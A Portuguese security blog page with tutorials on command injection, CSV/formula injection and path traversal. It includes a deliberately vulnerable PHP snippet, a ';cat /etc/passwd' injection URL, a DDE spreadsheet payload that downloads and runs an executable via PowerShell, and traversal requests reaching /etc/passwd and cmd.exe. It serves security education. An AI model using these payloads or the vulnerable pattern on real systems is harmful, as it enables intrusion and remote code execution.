Command Injection

O que é Command Injection?

Antes de começar a explicação, é bom lembrar que command injection e code injection são duas falhas diferentes. Basicamente command injection pode ocorrer, caso haja a interação de forma insegura, entre a aplicação web e o sistema operacional sobre o qual a aplicação estiver rodando. Essa interação pode ocorrer por exemplo, através de funções como o exec no PHP ou wscript.shell no ASP. A falha ocorre quando a aplicação envia comandos para o sistema operacional, juntamente com dados que o usuário enviar para a aplicação (através de formulários, cookies, HTTP headers etc) sem nenhum tipo de validação. Com isso, se a aplicação web em questão não realizar de forma correta a validação daquilo que o usuário enviar, a aplicação poderá ser atacada por um usuário malicioso, que irá injetar comandos de sistema operacional através do parâmetro vulnerável. Nesse ataque, o comando que o usuário malicioso enviar, será executado utilizando os privilégios que a aplicação web possuir. Geralmente aplicações web rodam com privilégios de servidor web(apache, tomcat…). Por exemplo, se o servidor web for o apache, o atacante terá privilégios do apache.

Mas o que isso significa exatamente?

Por exemplo, a aplicação web disponibiliza ao usuário um serviço de nslookup. Se a aplicação web não realizar de forma correta a verificação do valor passado para o nslookup, o usuário malicioso pode injetar comandos que serão executados com privilégios que a aplicação web vulnerável possuir, o que pode levar ao comprometimento total do sistema.

Exemplo prático de Command Injection

Vamos analizar o código abaixo:

<?php
   $host = 'google';
   if (isset( $_GET['host'] ) )
      $host = $_GET['host'];
   system("nslookup " . $host);
?>

<form method="get">
   <select name="host">
      <option value="google.com">google</option>
      <option value="yahoo.com">yahoo</option>
   </select>
   <input type="submit">
</form>

O código acima aceita a requisição via GET do parâmetro “host”, depois executa o nslookup e por fim exibe o resultado ao usuário. O importante aqui, é analisarmos como o valor passado para o parâmetro “host” é enviado direto para a função system() sem realizar nenhum tipo de filtro ou validação.

Uma requisição legítima seria algo como “http://website.com/cmd.php?host=google.com”, mas como vimos no código acima não existe nenhum tipo de filtro ou validação, ou seja, nada impede que o usuário malicioso tente a seguinte requisição “http://website.com/cmd.php?host=google.com;cat /etc/passwd”, o que irá fazer com que a aplicação web vulnerável retorne o conteúdo do arquivo passwd.

Aqueles familiarizados com linha de comando em ambiente Unix/Linux, sabem que podemos juntar comandos utilizando o “;“.

O ataque também pode ser realizado através do método POST. Nesse caso será necessário a utilização de ferramentas como o Burp Suite ou OwaspZap.

Lembre-se de que essa vulnerabilidade permite ao atacante executar comandos no servidor alvo, logo, um shell reverso pode causar um estrago maior ainda.

No exemplo a seguir iremos criar um shell reverso. Para facilitar vamos utilizar o Commix que é uma ferramenta muito útil na hora de encontrar e explorar falhas de command injection. Caso você não tenha a ferramenta, execute o comando: git clone https://github.com/commixproject/commix.git

Shell reverso com o Commix

No exemplo a seguir o IP 192.168.1.9 pertence ao servidor alvo e o IP 192.168.1.10 pertence ao atacante.

Referências:
resources.infosecinstitute.com/commix-an-automated-tool-for-command-injection/#gref
www.owasp.org/index.php/Command_Injection
The Web Application Hacker’s Handbook

_________________________________

Preocupado(a) se sua empresa pode estar correndo esse risco? Entre em contato agora mesmo

[CONTACT_FORM_TO_EMAIL id=”1″]

2 abril, 2017/por juliocesar

Bug Hunting

XSS Persistente no sistema de mensagens olx África do Sul

Informei a equipe do olx sobre o problema e o mesmo já foi resolvido.

PREOCUPADO(A) SE SUA EMPRESA PODE ESTAR CORRENDO ESSE RISCO? ENTRE EM CONTATO AGORA MESMO

[contact-form-7 id=”171″ title=”Formulário de contato”]

31 março, 2017/por juliocesar

Vulnerabilidades

CSV Injection

O que é CSV Injection?

CSV Injection (Comma separated values) também conhecido como formula injection, ocorre quando o usuário malicioso consegue injetar caracteres arbitrários em formulários que serão exportados posteriormente para arquivos .CSV ou .XLS

Para que a falha ocorra, o campo no qual o usuário malicioso usou para injetar o payload precisa estar presente no arquivo exportado.

CSV injection tem como principal objetivo explorar o user trust, ou seja, explorar a confiança que o usuário tem na fonte da qual o arquivo foi baixado.

Como a falha de CSV Injection ocorre?

Tenho certeza que muitos de vocês já viram e usaram fórmulas no Excel, como por exemplo a função soma, que é usada para retornar o valor da soma de determinadas células ou argumentos.

Para executar fórmulas no Excel, o comando tem que começar com “=”, então o excel sabe que tem que executar algum tipo de função. Na imagem acima é possível ver que a função soma foi utilizada. Além disso, o Microsoft Office está usando um protocolo chamado DDE (Dynamic Data Exchange).

DDE é um protocolo de comunicação entre processos. Ele envia mensagens entre aplicativos que compartilham dados e usa memória compartilhada para trocar dados entre aplicativos, o mesmo também é suportado pelo apache OpenOffice e LibreOffice.

Supondo que a vítima abriu um arquivo .CSV ou .XLS contendo o payload, a primeira reação do Excel ao abrir o arquivo, será exibir a seguinte mensagem de alerta:

Como medida de segurança, a Microsoft decidiu adicionar alguns alertas antes de ativar a atualização automática de links, mas como o usuário confia na fonte de onde o arquivo foi baixado, logo ele(a) irá clicar no botão enable (habilitar), mostrado na imagem acima.

A imagem acima mostra um segundo alerta mais suspeito, pois diz que o Windows precisa de sua permissão para iniciar CMD.EXE

Vamos ao exemplo prático do CSV Injection

Vamos supor que um funcionário malicioso queira atacar o dono da empresa para a qual trabalha, através do CRM (Gestão de Relacionamento com o Cliente) que a empresa possui. O funcionário malicioso obviamente tem sua conta de acesso ao CRM da empresa. Se analizarmos a imagem abaixo é possível observar que o funcionário malicioso injetou =cmd|’ no campo First Name, e /C calc’!A0 no campo Last Name, fazendo com que o campo Full Name exiba o payload completo =cmd|’ /C calc’!A0

Ao analizarmos a próxima imagem, podemos ver que o funcionário malicioso criou um novo lead, e tanto o campo Owner quanto o campo Qualification Team mostram o payload que o funcionário malicioso injetou na imagem anterior.

A próxima imagem mostra que o lead foi salvo com sucesso, contendo o payload =cmd|’ /C calc’!A0 . Até agora ninguém foi atacado.

Como podemos ver na imagem a seguir, quando a vítima, no caso o(a) proprietário(a) da empresa exportar o relatório de leads através de um arquivo .XLS por exemplo, ao abrir o arquivo, o Excel (em versões anteriores) irá alertar o usuário com uma mensagem parecida com a da imagem abaixo. Vale lembrar que a vítima baixou o arquivo de uma fonte que ele(a) confia, logo, a vítima tende a ignorar a mensagem de alerta e acaba clicando no botão Enable (habilitar).

A imagem a seguir mostra a próxima mensagem de alerta que é exibida para a vítima. Vale lembrar novamente que a vítima baixou o arquivo de uma fonte na qual ele(a) confia, logo, ele(a) irá clicar no botão SIM.

E por fim o arquivo será aberto e o payload será executado, causando a abertura da calculadora do Windows.

No exemplo acima, foi utilizado um payload que abre apenas a calculadora do Windows, mas o funcionário malicioso pode fazer coisa muito pior.

Em versões mais recentes do Microsoft Office, o Excel além de exibir os alertas já mostrados, ele também irá exibir os alertas abaixo:

Ao clicar em opções, o Excel irá exibir a mensagem abaixo:

Após o usuário clicar no OK da mensagem acima, o Excel irá exibir a seguinte mensagem:

E por fim o arquivo será aberto e o payload será executado, causando a abertura da calculadora do Windows.

É claro que o payload utilizado, não traz nenhum risco para quem abrir o arquivo. Mas, se o funcionário malicioso utilizar o payload a seguir o que vai acontecer?

=cmd|’ /C powershell Invoke-WebRequest “http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe” -OutFile “$env:Temp\putty.exe”; Start-Process “$env:Temp\putty.exe”‘!A0

O payload acima irá baixar e executar o putty.exe na máquina da vítima.

Consegue enxergar o problema?

Como previnir CSV Injection?

Para que a falha não ocorra, é preciso que qualquer campo que será exportado para o arquivo .CSV ou .XLS, contenham apenas caracteres alfanuméricos.

Referências:
appsec-labs.com/portal/formula-injection/
contextis.com/resources/blog/comma-separated-vulnerabilities/
pentestmag.com/formula-injection/
blog.zsec.uk/csv-dangers-mitigations/
owasp.org/index.php/CSV_Excel_Macro_Injection

_________________________________

Preocupado(a) se sua empresa pode estar correndo esse risco? Entre em contato agora mesmo

[CONTACT_FORM_TO_EMAIL id=”1″]

26 março, 2017/por juliocesar

Vulnerabilidades

Path Traversal

O que Path Traversal?

Antes de começar a explicação é bom lembrar que path traversal também é conhecido como directory traversal, dot-dot-slash(../), directory climbing e backtracking.

A aplicação correta do controle de acesso ao conteúdo web é crucial para se ter um servidor web seguro. Path traversal é um exploit via HTTP que permite ao atacante acessar diretórios restritos e executar comandos fora do diretório no qual a aplicação web esteja rodando.

Os servidores web dispõem de 2 níveis de mecanismos de segurança que são considerados como principais:

– Access Control Lists (ACLs)
– Root directory

O acess control list é usado no processo de autorização. É uma lista usada pelo administrador do servidor web para indicar quais usuários ou grupos de usuários possuem autorização para acessar, modificar ou executar arquivos específicos no servidor web em questão, assim como outros direitos de acesso.

O diretório root é um diretório específico no sistema de arquivo do servidor onde os usuários ficam confinados. Os usuários não possuem autorização para acessar diretórios fora do diretório root(a não ser que o usuário tenha permissão para isso).

Por exemplo: por padrão o diretório root do IIS é C:\Inetpub\wwwroot e com esta configuração, nenhum usuário tem acesso ao C:\Windows, mas terá acesso ao C:\Inetpub\wwwroot\news e quaisquer outros diretórios ou arquivos que estejam dentro do diretório root(claro que isso vai depender se o usuário em questão foi autenticado através da ACLs)

O diretório root previne que usuários acessem arquivos sensíveis como o cmd.exe em ambiente Windows ou o arquivo passwd em ambientes Linux/UNIX.

Esta vulnerabilidade pode se manisfestar no próprio software do servidor web(apache, tomcat…) ou no código da aplicação web.

Para a realização do ataque, tudo que o atacante precisa é de um navegador web e um breve conhecimento do servidor web alvo ou da aplicação web alvo.

O que o atacante pode fazer caso a aplicação web seja vulnerável?

Se a aplicação web for vulnerável a path traversal, o atacante pode usar essa falha para sair do diretório root e com isso acessar outras partes do sistema de arquivo do servidor web. Isso pode permitir ao atacante acesso a arquivos restritos, ou até mesmo permitir que o atacante execute comandos no servidor web, o que pode levar ao comprometimento total do sistema. Dependendo como foi configurado o acesso a aplicação web, o atacante vai executar comandos se passando por um usuário legítimo da mesma. Claro que isso vai depender de quais privilégios de acesso os usuários da aplicação web possuem.

Exemplo de ataque Path Traversal na aplicação web

Em aplicações web com páginas dinâmicas, a entrada(input) geralmente é recebido pelo navegador, através dos métodos GET ou POST. Segue abaixo um exemplo de uma requisição através do método GET.

GET http://website.com/dirtrav/example1.php?file=hacker.png HTTP/1.1

Host: website.com

Com essa URL, o navegador faz a requisição da página dinâmica example1.php e ao mesmo tempo envia o parâmetro ” file ” juntamente com o valor hacker.png. Quando essa requisição é executada no servidor web, a página example1.php recupera o arquivo hacker.png do sistema de arquivo do servidor web, processa e depois envia de volta para o navegador que em seguida mostra o conteúdo para o usuário. O atacante irá assumir que example1.php consegue recuperar arquivos do sistema de arquivo do servidor web e então envia a seguinte URL modificada.

GET http://website.com/dirtrav/example1.php?file=../../../../../../../etc/passwd HTTP/1.1

Host: website.com

Essa requisição vai fazer com que a página dinâmica example1.php recupere o arquivo passwd do sistema de arquivo, e em seguida o navegador web irá exibir o conteúdo do arquivo passwd para o usuário. A expressão ” ../ ” instrui o sistema a subir um diretório, o que é uma diretiva(instrução) muito comum de ser usada no sistema operacional.

O atacante precisa adivinhar quantos diretórios ele(a) precisa subir para chegar no diretório etc/. Essa é uma tarefa muito fácil e a mesma é realizada por tentativa e erro.

Três exemplos práticos de como explorar o Path Traversal em uma aplicação web

Exemplo de ataque Path Traversal no Servidor Web

Deixando um pouco de lado a aplicação web, até mesmo o servidor web pode estar vulnerável a ataques de path traversal. O problema pode estar incorporado no software do servidor web ou até mesmo dentro de scripts de amostra que estão disponíveis no servidor web em questão.

Por exemplo, a requisição a seguir consegue explorar o path traversal através da utilização de scripts de diretório do IIS:

GET http://website.com/scripts/..%5c../Windows/System32/cmd.exe?/c+dir+c:\ HTTP/1.1

Host: website.com

A requisição acima vai retornar para o usuário a lista de todos os arquivos presentes no diretório C:\ através da execução do comando dir c:\ dentro do cmd.exe. A expressão %5c que aparece na URL é um código de escape do servidor web, que é usado para representar caracteres normais. Nesse caso o %5c representa o carácter ” \ “.

Os servidores web modernos verificam a existência desse código de escape na requisição feita pelo usuário e o elimina. Versões mais antigas dos servidores web não realizam esse filtro e por isso acabam sendo vulneráveis a path traversal.

Como previnir Path Traversal?

Em relação ao servidor web tenha certeza que o mesmo esteja sempre atualizado. Já em relação a aplicação web filtre toda e qualquer entrada do usuário(user input).

______________________________

Preocupado(a) se sua empresa pode estar correndo esse risco? Entre em contato agora mesmo

[CONTACT_FORM_TO_EMAIL id=”1″]

19 março, 2017/por juliocesar

Blog

Hackers desligaram um Jeep remotamente

Dois hackers desenvolveram uma ferramenta capaz de sequestrar um Jeep pela internet. O escritor Sênior da WIRED Andy Greenberg deu uma volta no carro em uma alto pista, enquanto os dois hackers atacaram o carro a quilômetros de distância.